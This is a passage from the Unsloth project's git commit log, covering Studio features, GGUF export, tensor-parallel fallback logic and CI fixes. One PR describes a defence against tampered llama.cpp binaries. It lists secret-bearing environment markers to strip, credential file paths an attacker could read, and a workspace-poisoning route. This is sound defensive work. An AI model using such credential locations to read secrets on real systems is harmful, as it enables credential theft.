auto-downloaded, iq2_xxs/iq4_xs exported and run via llama.cpp.
Note: requires the companion unsloth_zoo quantize_gguf imatrix change.
* Address imatrix/compressed review feedback: unsloth org GGUF repo, fail-fast, calibration split
- imatrix auto-resolve (imatrix_file=True): derive the upstream repo as unsloth/<base>-GGUF
instead of <org>/<base>-GGUF, so official bases (e.g. meta-llama/Llama-3.1-8B-Instruct) find
the matching Unsloth GGUF imatrix repo rather than failing on a nonexistent meta-llama/...-GGUF.
- Resolve/validate the imatrix before the 16-bit merge in save_pretrained_gguf, so a bad path or
an unavailable upstream imatrix fails fast instead of after a long, multi-GB merge.
- Compressed calibration: when a Hub dataset has no "train" split, resolve the first split name
and slice it, instead of materializing the whole dataset just to take num_samples rows. Keeps
the original materialize-then-subselect path as a last resort.
Tests: add unsloth/<base>-GGUF mapping for an official base id, and create the imatrix file in the
quantize_gguf flag test (quantize_gguf now validates the imatrix exists).
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: name the missing extractor when a Recipes upload fails
A missing optional dependency (pymupdf4llm for PDF, mammoth for DOCX) was
reported as a generic "Text extraction failed", which gives the user nothing to
act on. Catch ImportError and surface the package name instead.
* Studio: narrow missing extractor error handling
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* (feat) Add project names to studio training runs to avoid models being overwritten when doing similar training runs
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Update studio/frontend/src/features/export/export-page.tsx
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* Update studio/frontend/src/features/export/export-page.tsx
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* Update studio/frontend/src/features/export/export-page.tsx
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
* better project name sanitization, removed duplicated project name normalization
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* implement checkpoint scanning utilities and tests for base model inference
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Guard project_name against null and use leading important modifiers
* Fix/adjust training project names for PR #6512
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix/adjust training project names for PR #6512
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address project-name review feedback
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Show project names in training recents
* Keep GGUF export directories source-specific
---------
Co-authored-by: NZ-Linix <nz-linix@outlook.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: NZ-Linix <linus.ordowski@outlook.com>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com>
Co-authored-by: wasimysaid <wasimysdev@gmail.com>
* Speed up Studio desktop startup
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address Studio startup review findings
* Keep orphaned run cleanup before readiness
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Improve code quality & performance: fix typos, compile regex & cache fields
- Fix typos across core files (repeatted → repeated, splitted → split, etc.)
- Compile regex patterns once as class attributes in TextPreprocessor
- Cache text fields/columns in RawTextDataLoader
- Improve comments (re-use → reuse)
* Use immutable raw text field constants
---------
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Local models in the Studio Hub tab (Custom folders, LM Studio, and
Local models sections) did not reveal their on-disk path on hover,
unlike the Fine-tuned rows which already do. Each of these rows maps
over a LocalModelInfo with a required path, so pass tooltipText built
from the model name and path via a small shared localPathTooltip
helper, matching the existing FT-row tooltip format.
Refs #6382
Co-authored-by: Matt Van Horn <455140+mvanhorn@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* cascade user message deletion to include assistant reply
* Fix comment typo in delete-thread-message
---------
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
FalconH1RMSNormGated is imported from transformers but never referenced in
unsloth/models/falcon_h1.py. The unused hoist trips the import-hoist lint gate
on the merge commit of every open PR (the gate lints PR-head merged into main),
so clearing it here unblocks those PRs.
* Studio: stop handing CI/user secrets to downloaded llama.cpp binaries
The macOS prebuilt path installs llama.cpp from the unslothai/llama.cpp
fork's latest (unpinned, mutable) release and then executes the
downloaded llama-server / llama-quantize binaries during install-time
validation. binary_env() built that child environment from a full
os.environ.copy(), so a compromised or tampered prebuilt would inherit
every secret in the process: HF_TOKEN and the workflow GitHub tokens in
CI, and HF / cloud credentials for end users running install.sh /
setup.sh.
We publish prebuilts daily, so pinning a release tag is not workable.
Instead, neutralise the impact: these binaries have no reason to read any
token, so strip secret-bearing variables (exact names plus
TOKEN/SECRET/PASSWORD/CREDENTIAL/PRIVATE_KEY/API_KEY markers) before
handing the env to a downloaded binary. The installer's own GitHub and
Hugging Face API calls read os.environ directly, so authentication and
release-API rate limiting are unaffected; PATH, LD_LIBRARY_PATH,
DYLD_LIBRARY_PATH and CUDA/ROCm vars are preserved. One change covers the
install-time validation path for all six macOS workflows and end users.
Follow-up (separate, sequenced): publish build-provenance attestations
from the fork's prebuilt workflows and verify them in CI, so a forged
release is rejected rather than merely starved of secrets.
* Strip KUBECONFIG, SSH_AUTH_SOCK, and PASSPHRASE-marked vars from binary env
Extend the deny-list per PR review: KUBECONFIG and SSH_AUTH_SOCK are
credential pointers/capabilities a downloaded binary never needs, and a
PASSPHRASE marker catches SSH_PASSPHRASE / GPG_PASSPHRASE. Tests updated.
* Studio: also scrub proxy/index env vars and URL-embedded credentials before running prebuilt binaries
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope mlx-ci secrets to the install + download commands for PR #6696
Drop the ambient step-level env block and pass GH/GITHUB/HF tokens only
on the installer and GGUF-download commands, so the directly invoked
llama-quantize / llama-server smoke runs see no secrets. The installer
still reads tokens from os.environ for the releases API and probe fetch.
* Trim verbose comments around the secret-env scrubber for PR #6696
Comment-only: condense the block comments added across this PR. Logic
unchanged (comment_tools.py check confirms code-only signature equal).
* Redirect HOME / cache pointers to an empty dir for prebuilt binaries (PR #6696)
Address Codex P2: stripping token env vars still let a tampered binary
read on-disk token stores (~/.cache/huggingface/token, ~/.aws/credentials,
~/.config/gh) through $HOME and the cache/config pointers. Point HOME plus
the HF / XDG / Windows home pointers at a single empty throwaway dir for
the downloaded-binary env. Defense in depth: a binary resolving the real
home via getpwuid is out of scope and needs OS sandboxing.
* Close residual credential-probe gaps for PR #6696
Address the latest Codex review:
- Strip token-only URL userinfo too (scheme://ghp_token@host), not just
the user:pass form.
- Redirect HOMEDRIVE/HOMEPATH alongside USERPROFILE so a Windows binary
cannot reconstruct the real profile from %HOMEDRIVE%%HOMEPATH%.
- Drop explicit credential-file pointers (NETRC, PIP_CONFIG_FILE,
DOCKER_CONFIG, GIT_CONFIG_GLOBAL) that live outside HOME.
- Probe ldd with a secret-free env: linux_runtime_dirs ran ldd on the
untrusted prebuilt with the inherited os.environ, and ldd may execute
the binary, so it could observe HF_TOKEN/GITHUB_TOKEN during the probe.
Factored the shared scrub into secret_free_environ().
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Separate token-bearing install from binary smoke; drop CI command files (PR #6696)
Address the two P1s in the latest review:
- mlx-ci: GitHub bakes secrets into the run-script text, so inline token
assignments in a step that later runs the prebuilt let a tampered binary
read them from the script. Split into a token-bearing install + download
step that never launches a binary, and a secret-free smoke step that runs
llama-quantize / llama-server.
- secret_free_environ now drops the GitHub Actions command files
(GITHUB_ENV, GITHUB_PATH, GITHUB_OUTPUT, GITHUB_STEP_SUMMARY, BASH_ENV) and
the smoke step unsets them, so a tampered prebuilt cannot inject PATH/env
into the later token-bearing MLX steps.
* Run the prebuilt smoke last, after all token-bearing steps (PR #6696)
Address the P1 workspace-poisoning vector: even with no secrets in its env,
a tampered prebuilt could edit the checkout or installed modules, and the
later HF_TOKEN MLX steps would then execute that poisoned code on push
builds. Move the prebuilt install + smoke to the end of the job so the
untrusted binary runs after every token-bearing step, leaving nothing for it
to corrupt. The MLX GGUF reload uses a source-built llama-cli, not this
prebuilt, so nothing depends on the earlier position.
* Trim comments around the secret-env scrubber and prebuilt CI steps (PR #6696)
Comment-only: condense the security-rationale block comments and merge the
duplicated prebuilt-step description in mlx-ci. Logic unchanged
(comment_tools.py check confirms the code-only signature is equal; install
suite still passes).
* Authenticate the GGUF export release-API lookup with the read-only GITHUB_TOKEN (PR #6696)
* Rename env scrubber off the secret-named identifier CodeQL flags as a clear-text sink (PR #6696)
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: restore tensor parallelism for vision/mmproj GGUFs
#6416 disabled --split-mode tensor for any GGUF that ships an mmproj projector to
dodge a GGML_ASSERT crash (#6415) seen on an older llama.cpp build with consumer
Blackwell (sm_120). The blanket skip silently dropped tensor_parallel=true for
every multimodal/MTP GGUF (e.g. Qwen3.6-35B-A3B-MTP); on hardware where the model
fits on one GPU the load then collapsed to a single GPU. mmproj + --split-mode
tensor works on current builds (verified end to end on B200/sm_100), so the skip
was disabling a working configuration.
Make the vision skip self-healing per binary:
- attempt tensor for vision models by default
- skip upfront only on a binary already seen to abort on tensor + mmproj this
session (_vision_tensor_split_aborts), recorded when such a launch crashes at
startup (_record_vision_tensor_split_abort). Process scoped, so a studio update
re-probes the new build. The route-level layer-split fallback stays the net.
- add _select_gpus(min_gpus=...) so a downgraded tensor request can keep multiple
GPUs instead of collapsing to one (default 1, no behavior change).
Add tests/test_tp_vision_regression.py: an AST allowlist guard over the
tensor_parallel drop sites (which would have flagged #6416), plus cache and
_select_gpus coverage. No GPU required.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address review on vision tensor-parallel self-healing
Three fixes from the PR review:
- Record a vision-tensor abort only after every startup retry fails. The first
version cached the binary on the first spawn crash, which on every build
(including capable ones) is the benign --fit step abort that the existing
--fit off retry resolves. That poisoned the cache so the next vision load in
the same process skipped tensor. Recording now happens at the post-retry
failure block (after fit-off, flash-attn-off and MTP-drop), so a binary that
actually works is never cached.
- Gate the record on the tensor/mmproj crash signature: a hard signal fault
(_is_signal_crash) with no non-tensor cause (_output_has_nonprojector_diagnostic
excludes OOM and unknown-arch), so an OOM, bad extra args, or MTP/flash-attn
crash no longer marks an otherwise capable binary incompatible.
- Preserve the multi-GPU request on the cached downgrade. The vision gate now
raises _layer_min_gpus to the visible GPU count and threads it through the
layer-split GPU selection (_select_gpus min_gpus and the subset loops), so a
downgraded tensor request still spreads across GPUs instead of collapsing to a
single card the model happens to fit.
Verified two vision+tensor loads in one backend process both tensor-split across
4 GPUs (the benign fit abort no longer poisons the cache). Tests updated.
* Studio: harden vision tensor-parallel self-healing (review round 2)
Address the second review round on the vision/mmproj tensor-parallel fix:
- Preserve vision on the first load: a --split-mode tensor + --mmproj
GGML_ASSERT now raises so the route-level tensor->layer fallback retries
layer split with the projector intact, instead of stripping --mmproj and
silently loading text-only (which returned success and skipped the fallback,
losing vision on the first load until the next cached load).
- Symmetric multi-GPU preservation: the pooled-VRAM tensor downgrade now raises
_layer_min_gpus from the usable tensor GPUs like the vision downgrade, so it
no longer collapses a multi-GPU request to a single card.
- Base the layer fallback minimum on usable GPUs: _select_gpus caps min_gpus to
the count of cards with usable VRAM, so a downgrade never forces a nearly-full
card in (or trips --fit) just to hit the count.
- Re-probe after in-app updates: key the per-binary abort cache on (path, mtime)
like _capability_cache, so POST /api/llama/update swapping the binary in place
(no backend restart) re-probes the new build instead of inheriting the old
build's abort.
- Bump _layer_min_gpus for a known-bad vision binary independent of the tensor
drop, so the route fallback's layer retry (tensor already off) still spreads
across GPUs.
Adds deterministic non-GPU regression tests for each.
* Studio: gate cached-vision layer minimum on the current tensor request
The cached-vision _layer_min_gpus bump fired for every later vision load on a
binary recorded as tensor+mmproj-incompatible, including loads that did not
request tensor parallelism. A plain non-tensor vision load that fits on one card
would then grab every GPU just because an earlier TP attempt aborted in the same
backend process.
Re-tie the bump to the current tensor request (back inside the tensor-drop
guard), so only a downgraded tensor request preserves the multi-GPU spread; a
non-tensor vision load minimizes device count as before.
* Studio: preserve GPU count + confirm assert on vision tensor fallback
Third review round on the vision/mmproj tensor-parallel fix:
- Preserve multi-GPU on the first tensor->layer fallback. The route-level retry
runs tensor-off, so the in-function downgrades can't see the original tensor
request and a fits-on-one-card model loaded the first successful fallback on a
single GPU. The GGUF load closure now passes preserve_multi_gpu_on_layer (the
toggle asked for tensor, this attempt is layer) and load_model raises
_layer_min_gpus for it, so the downgrade still spreads across GPUs.
- Cap the auto-context layer loops to usable GPUs. They bypass _select_gpus, so a
raised _layer_min_gpus could force a nearly-full card into the subset (or trip
--fit). They now start from _auto_min_gpus, capped to the GPUs with usable VRAM.
- Confirm the tensor/mmproj assert before caching. Recording (and the layer-retry
raise) now require the ggml assert marker via _is_tensor_split_assert, not the
bare-signal predicate shared with the projector-incompat branch, so a corrupt
or too-new projector that SIGSEGVs independent of split mode is no longer cached
as tensor/mmproj-incompatible.
Adds deterministic non-GPU regression tests for each.
* Studio: extend multi-GPU fallback to extra/env tensor + overhead-aware cap
Fourth review round on the vision/mmproj tensor-parallel fix:
- Preserve multi-GPU fallback for all tensor requests, not just the UI toggle.
Tensor can also be requested via --split-mode tensor in extra args or an
inherited LLAMA_ARG_SPLIT_MODE=tensor env; the fallback retries those too, so
the preserve_multi_gpu_on_layer hint now keys off _effective_tensor_parallel
(the same check the fallback uses), comparing the overall request against the
current attempt instead of only request.tensor_parallel.
- Cap the auto-context layer fallback to GPUs that can pay the per-device layer
overhead. The cap counted any card with positive usable VRAM, so a nearly-full
GPU with a few MiB free stayed eligible and could be exposed to llama.cpp and
OOM. It now mirrors _select_gpus: a card counts only if usable VRAM exceeds the
per-device pipeline overhead.
Adds deterministic non-GPU regression tests for both.
* Studio: match the #6415 split-axis assert + replay layer-preserve hint
Fifth review round on the vision/mmproj tensor-parallel fix:
- Narrow the tensor/mmproj crash signature. _is_tensor_split_assert matched any
GGML_ASSERT/GGML_ABORT, so an unrelated invariant a corrupt GGUF or projector
trips with --mmproj present could be cached as tensor/mmproj-incompatible. It
now matches the specific #6415 warmup assertion
(GGML_ASSERT(src_ss[0].axis != GGML_BACKEND_SPLIT_AXIS_0) in ggml-backend-meta),
whose split-axis signature is inherent to tensor splitting. A reworded future
assert just re-crashes-then-falls-back (vision preserved via layer split)
instead of poisoning the cache for other models.
- Persist the layer-preserve hint for respawns. A successful tensor->layer
fallback committed _last_load_kwargs without preserve_multi_gpu_on_layer, so
_respawn_if_dead replayed only --split-mode layer + tensor_parallel=False and a
mid-session respawn of a fits-on-one-card model came back single-GPU. The hint
is now in the replay snapshot, so recovery keeps the multi-GPU placement.
Adds deterministic non-GPU regression tests for both.
* Studio: tighten comments on the vision tensor-parallel fix
Make the comments and docstrings added by this PR succinct: collapse the
multi-line block comments in llama_cpp.py / inference.py to one or two lines,
trim the verbose test docstrings (the names and assert messages already carry the
intent), and shorten the module docstring. No code changes; verified comment-only
with scripts/comment_tools.py check --strip-docstrings.
* Studio: cache vision tensor abort only on the split-axis token
_is_tensor_split_assert also accepted any GGML_ASSERT/GGML_ABORT from
ggml-backend-meta, but that file holds many asserts, so an unrelated
scheduler/projector/model invariant on an --mmproj launch could cache the binary
as tensor/mmproj-incompatible and make later compatible vision models skip tensor
parallelism. Match the GGML_BACKEND_SPLIT_AXIS_* token itself (unique to the
#6415 warmup assert), not the source file name.
* Studio: don't leak the httpx test stub into later tests
The regression module stubbed httpx via sys.modules.setdefault, which installs
the lightweight stub even when real httpx is present but not yet imported. The
stub then persists for the whole pytest process, so provider/HF tests collected
later (importing httpx or huggingface_hub.errors) got a module missing
HTTPError/Response. Mirror the neighboring llama_cpp helper tests: import real
httpx first and only fall back to a stub on ImportError.
* Studio: latch the #6415 tensor-split abort on the first spawn, key it per model
The self-heal recorded the --split-mode tensor abort only in the post-retry
failure block, after the flash-attn-off retry. But SPLIT_MODE_TENSOR requires
flash_attn, so the flash-off retry can't run tensor and its output no longer
carries the warmup split-axis assert (ggml-backend-meta :541). The record
therefore never fired on the real reproducer and the crash loop repeated on
every load (reported by oobabooga on #6659).
Latch instead on the first spawn that shows the signal crash + split-axis
marker: record it, kill the process, and raise straight to the route's layer
fallback, skipping the futile flash-attn/MTP retry ladder for this crash.
The crash is a tensor-split geometry limit (e.g. MQA n_head_kv=1 splitting to
GGML_BACKEND_SPLIT_AXIS_0), not a vision/mmproj property: it reproduces without
--mmproj and even single-GPU tensor. So drop the vision/mmproj scoping, rename
_vision_tensor_* -> _tensor_split_*, and key the session cache on
(binary, mtime, model) rather than (binary, mtime) so one model's abort no
longer skips tensor for every other model on the same build.
Regression tests updated to pin the early-spawn record, the per-model cache,
and that an unrelated ggml-backend-meta assert is not treated as the marker.
* Studio: reload on explicit tensor-off after a multi-GPU layer fallback
When a tensor load is downgraded to layer but kept multi-GPU to honor the
tensor request (preserve_multi_gpu_on_layer, the geometry-cache gate, or the
budget downgrade), the server reports tensor_parallel=False with --split-mode
layer stored. A later Apply that explicitly turns the tensor toggle off then
matched the loaded state and deduped to already_loaded, so Studio kept the
fallback's all-GPU CUDA_VISIBLE_DEVICES placement instead of re-selecting
normal placement (a single GPU for a model that fits on one card).
Latch a _layer_preserves_tensor_intent flag in load_model whenever a tensor
request is downgraded to layer with the multi-GPU floor raised
(_layer_min_gpus > 1), clear it when tensor stays on or on unload, and force a
reload in _request_matches_loaded_settings when the user explicitly turns the
tensor toggle off while that flag is set. An Apply that does not touch the
toggle still dedupes, so a working multi-GPU layer server is not churned.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address reviewer.py findings on the tensor-split self-heal
P1 (dedup): tensor intent can be dropped via extras, not only the toggle. An
explicit llama_extra_args=["--split-mode", "layer"] matches the stored fallback
extras, so _request_matches_loaded_settings deduped to the preserved all-GPU
placement instead of reloading. Now reload when layer_preserves_tensor_intent
and the user explicitly drops tensor via the toggle OR via extras
(_effective_tensor_parallel of the explicit extras is false).
P1 (downgrade symmetry): the len(tp_gpus) < 2 compute-buffer downgrade cleared
tensor_parallel without raising _layer_min_gpus, unlike the budget and geometry
downgrades. GPUs below tensor's replicated compute-buffer reserve can still take
layer split's lower overhead, so keep the multi-GPU request (len(gpus) >= 2) and
let _select_gpus cap unusable cards.
P2 (cache key): key the tensor-split abort cache on st_mtime_ns, so a binary
replaced in place within the same second after an abort is re-probed instead of
inheriting the stale entry.
P2 (test hygiene): load routes/inference.py via importlib in the regression
tests instead of importing the routes package, which runs routes/__init__.py and
pulls in every router (e.g. python-multipart). Added regression coverage for the
extras-off reload, the compute-buffer multi-GPU preservation, and the same-second
nanosecond cache invalidation.
* Studio: record the tensor-split abort on the Windows CRT abort exit too
The first-spawn split-axis latch only recorded when _is_signal_crash matched
(POSIX signal or 0xC0000000+ NTSTATUS). On MSVC builds GGML_ASSERT terminates
through the CRT abort() path with exit code 3, which is neither, so the cache
never filled on Windows and every later load of the same bad binary/model
repeated the tensor crash before falling back to layer.
The split-axis marker is definitive, so accept either a signal crash or the
Windows abort() exit (3) when the marker is present. Add _is_abort_exit and a
unit test, and assert the early latch honors it.
* Studio: fix UnboundLocalError on --fit-on fallback, reload backend fast path
Two follow-ups from review on the tensor-split self-heal:
UnboundLocalError: _layer_min_gpus was initialized inside the GPU-selection try.
If NVML probing or GGUF/mmproj sizing raised, the except path logged "using
--fit on" and fell through to the command builder, where the new
self._layer_preserves_tensor_intent = _layer_min_gpus > 1 then raised, turning a
safe --fit-on layer fallback into a hard load failure. Bind _layer_min_gpus
before the try so the except path always has it.
Backend fast path: _request_matches_loaded_settings forces a reload when a
preserved tensor->layer fallback gets an explicit tensor-off request, but
load_model's own _already_in_target_state still matched the tensor-off/layer
settings and short-circuited, so the placement re-selection never ran. Mirror
the guard there: reload when layer_preserves_tensor_intent and the request drops
tensor intent. The flag clears on that reload, so there's no loop.
Added regression coverage for both.
* Studio: testable tensor-split record decision; skip futile fit-off retry
Follow-ups from a deeper review of the tensor-split self-heal:
Extract the record decision into _should_record_tensor_split_abort(rc, output)
(marker AND (signal crash OR Windows abort)) and call it from the early latch.
The combined boolean was only covered by source-inspection substring checks, so
an or->and typo would silently stop recording on Windows (CRT abort exit 3 is
not a signal) with every test still green. Add a behavioral test over the
POSIX / Windows / NTSTATUS / clean-exit / SIGKILL / no-marker matrix.
Skip the --fit off retry inside _spawn_and_wait when the crash already shows the
split-axis marker: that abort is fit-independent, so the retry just warms up and
crashes a second time before the latch records it. Skipping it lets the caller
latch immediately and corrects the latch comment.
Also clarify the dedup-guard comments (toggle read from model_fields_set vs
extras via _effective_tensor_parallel without env; the backend fast path is
intentionally broader and only ever forces a reload).
* Studio: don't reload-loop tensor-off requests under env tensor
The preserved-fallback reload guard fired on the raw tensor toggle, ignoring
LLAMA_ARG_SPLIT_MODE=tensor. For an env-driven tensor user, an explicit
tensor_parallel=false request then forced a reload that re-engaged tensor via
the env and re-created the same preserved layer fallback, so every /load
reloaded -- bypassing the env-downgrade matching that exists to avoid exactly
this loop.
Gate the guard on the env-aware effective tensor state: reload only when an
explicit toggle/extras change leaves _effective_tensor_parallel (which consults
the env) off. If the env still forces tensor, fall through to the existing
env-downgrade match, which dedupes instead of looping. Added a regression test
with LLAMA_ARG_SPLIT_MODE=tensor set.
* Studio: tighten comments and test docstrings on the TP self-heal
Condense the verbose comments and test docstrings added across the review rounds
into fewer, succinct lines without changing their intent: the early-latch and
downgrade-site rationale, the cache/key and helper docstrings, the dedup-guard
comments, and the per-test docstrings. No code changes (AST-verified comments
and docstrings only); tests and lint unchanged.
* Studio: clear preserved tensor flag on diffusion; carry it across non-drop reloads
Two follow-ups on the preserved-fallback machinery:
Diffusion: the DiffusionGemma path early-returns from load_model before the
command builder that sets/clears _layer_preserves_tensor_intent, so the flag
from a prior tensor->layer fallback leaked onto a later diffusion load and
forced needless reloads of the diffusion server on tensor-off/extra Applies.
Clear it when starting diffusion.
Settings reload: the preserve hint was recomputed only from the new request, so
a reload for an unrelated setting (e.g. max_seq_length) with the tensor toggle
omitted dropped a preserved multi-GPU layer placement back to one GPU. Carry
llama_backend.layer_preserves_tensor_intent into the hint when the request is
not an explicit tensor-off/extras-off drop, so a fitting model stays multi-GPU.
Added regression tests for the diffusion clear, the carry-forward, and the
updated tensor-intent computation.
* Studio: gate the preserve carry-forward on the same model being loaded
The tensor-intent carry-forward read llama_backend.layer_preserves_tensor_intent
without checking it belonged to the model being loaded. On a direct model switch
(load B without an explicit /unload of A), the flag is still set from A's
downgrade (it isn't reset until B's load_model reaches the command builder, after
the route reads it), so a plain load of B got preserve_multi_gpu_on_layer=True
and was spread across all GPUs even though it fits on one and the user never
requested tensor for it. The backend dedup doesn't have this leak (it checks
model_identifier first); the leak was only in the route hint.
Extract the decision into _carry_preserved_tensor_intent(preserved, same_model,
explicit_drop) and gate it on the backend still holding the same model. Add a
behavioral truth-table test (catches a `not` inversion and a missing same-model
guard) and tighten the compute-buffer downgrade test to bound its source window.
* Studio: match the HF quant too when carrying preserved tensor intent
The same-model guard on the preserve carry-forward compared only model_identifier,
which is variant-agnostic for HF repos. A later load of the same repo with a
different gguf_variant (which already bypassed dedupe on the variant mismatch)
was treated as the same model, so a request that omits tensor settings inherited
the prior variant's preserved intent and forced multi-GPU layer placement for a
quant that never requested tensor. Also require the loaded hf_variant to match for
HF repos (local direct-file loads already differ by model_identifier path). Added
a regression test for the variant guard.
* Studio: match the loaded GGUF by path too when carrying preserved tensor intent
A local directory holding multiple GGUF variants keeps one variant-agnostic
model_identifier (the directory) while config.gguf_file selects the file, so the
same-model guard let variant B inherit variant A's preserved tensor->layer
fallback and forced B onto multi-GPU. Mirror _already_in_target_state's identity
logic: match by resolved path when both sides have a local file, else by HF
variant. #6659
* Studio: let implicit same-settings reloads dedupe after a preserved fallback
The backend _already_in_target_state mirror forced a reload on ANY effective
tensor-off request once a tensor->layer fallback was preserved. In the HF
auto-pick / local-directory flows the route-level dedup is skipped, so an
identical /load with tensor omitted reached this guard and reloaded every time
even without an explicit drop. Thread the route's preserve_multi_gpu_on_layer
decision in so only an explicit drop reloads; implicit carry-forward dedupes. #6659
* Studio: only an explicit tensor/split-mode change drops preserved intent
The explicit-drop test treated request.llama_extra_args is not None as a drop,
so a same-model reload that merely added an unrelated pass-through arg (e.g.
--top-k 20) without touching the tensor field or --split-mode disabled the
carry-forward and collapsed a fitting model back to one GPU. A drop now requires
an explicit tensor_parallel field change or a non-tensor --split-mode override,
via a shared _is_explicit_tensor_drop helper used by both the already-loaded
dedup and the load carry-forward so the two readers agree. #6659
* Studio: treat an explicit clear of extras as a tensor drop
When tensor intent was extras-driven (--split-mode tensor) and fell back to a
preserved layer split, a later request that explicitly clears extras
(llama_extra_args=[]) but omits tensor_parallel left the empty list with no
split-mode override, so the carry-forward kept the model pinned multi-GPU instead
of returning to normal layer selection. _is_explicit_tensor_drop now also counts
an explicit empty-list clear as a drop, while an unrelated extra (--top-k) or
inherit (None) still carries the preserved intent. #6659
* Studio: don't treat the UI's tensor_parallel echo as a tensor drop
The Studio frontend always sends tensor_parallel and copies the /load response's
resolved value back into its state, so after a tensor->layer fallback every
ctx/settings reload carries tensor_parallel=false even though the user never
changed it. Keying the drop on the field (or on an empty extras clear) collapsed
the preserved multi-GPU placement on the next reload. A fallback also always
stores --split-mode layer, never a tensor split mode, so a clear never wipes
tensor intent. _is_explicit_tensor_drop now drops only on an explicit non-tensor
--split-mode override; the bare field echo, an empty clear, an unrelated extra,
and inherit all keep the preserved placement, and --split-mode tensor /
tensor_parallel=true re-engage tensor. #6659
* Studio: match the resolved config.identifier when carrying tensor intent
The same-model guard for the carry-forward compared the raw request id, but
ModelConfig.from_identifier normalizes it (adds the unsloth/ prefix for a
shorthand, fixes repo-id case) before load_model stores config.identifier. So a
ctx/settings reload using the shorthand id missed the match, dropped
_carry_preserved_tensor_intent, and could collapse a preserved multi-GPU layer
placement to one GPU. Compare against config.identifier (what the backend stores),
keeping it symmetric with _already_in_target_state. #6659
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix fast_inference crash on ABI-broken vLLM: force-load compiled extensions in the broken-vLLM probe
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Broaden broken-vLLM probe: catch non-libcudart .so failures and _moe_C_stable_libtorch
* Revert stray reformat of the PDL fix log line
* Trim verbose comments in the broken-vLLM probe
* Drop non-existent vllm._moe_C_stable_libtorch from the broken-vLLM probe
* Shorten comments in broken vLLM extension detection
Condense the docstrings and inline comments for the lazy-loaded vLLM probe
and the new regression test while keeping the rationale. Comments only, no
code changes (verified with an AST signature check and the existing tests).
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Two intermittent Studio CI failures, both runner-environment flakes unrelated
to test logic:
Windows 'Studio install + inference without Visual Studio': the 'Hide Visual
Studio + CMake' step renames C:\Program Files\Microsoft Visual Studio to
simulate a host with no build tools. A background handle on a Program Files
directory (Defender scan or an MSBuild node) makes Rename-Item intermittently
fail with 'Access is denied', and $ErrorActionPreference = Stop turns that into
a hard job failure. Wrap the VS and cmake renames in both Hide steps in a short
Rename-WithRetry (6 tries, 3s apart) to ride out the transient lock.
macOS 'Chat UI Tests': the re-login goto to /login can be interrupted by the
SPA auth guard redirecting to the same /login URL, which Playwright reports as
'Navigation to .../login is interrupted by another navigation to .../login'.
The goto already tolerated ERR_ABORTED; broaden it to also tolerate the same-URL
interrupt (the password-field wait right after confirms we landed on /login),
and add the same signature to the two Playwright flake-retry harnesses as a
safety net for any other navigation.
Validated: playwright_chat_ui.py parses + byte-compiles, both workflow YAMLs
parse, bash -n on the retry harnesses, PowerShell AST parse on all pwsh steps,
and a functional check of Rename-WithRetry (succeeds, and rethrows after
exhausting retries).
On torch >= 2.11 torchao tries to dlopen each prebuilt _C*.so and logs a
per-file "Failed to load .../_C*.so" WARNING via the torchao logger when one
cannot load. This happens on an ABI tag mismatch in the prebuilt wheel (for
example a cp310 .so under a cp312 runtime, as on Colab) or when the kernel
targets an arch the GPU does not have (mxfp8 needs FP8 hardware, _C_cutlass_90a
is Hopper/SM90 only). torchao falls back to its non-cpp paths and Unsloth's
bnb-4bit / Triton kernels do not use these, so the warning is cosmetic.
Add a HideLoggingMessage filter on the same torchao logger that already filters
the torch < 2.11 "Skipping import of cpp extensions" message, so only these
records are dropped rather than raising the whole logger to ERROR.
* fix: wrap unprotected evaluate() calls with robust_evaluate() to handle navigation context loss
Fixes PR #5911 - Playwright UI test error: 'Execution context was destroyed'
The test had several direct page.evaluate() and locator.evaluate() calls that
weren't wrapped with robust_evaluate(), which retries when navigation destroys
the execution context mid-operation.
Changes:
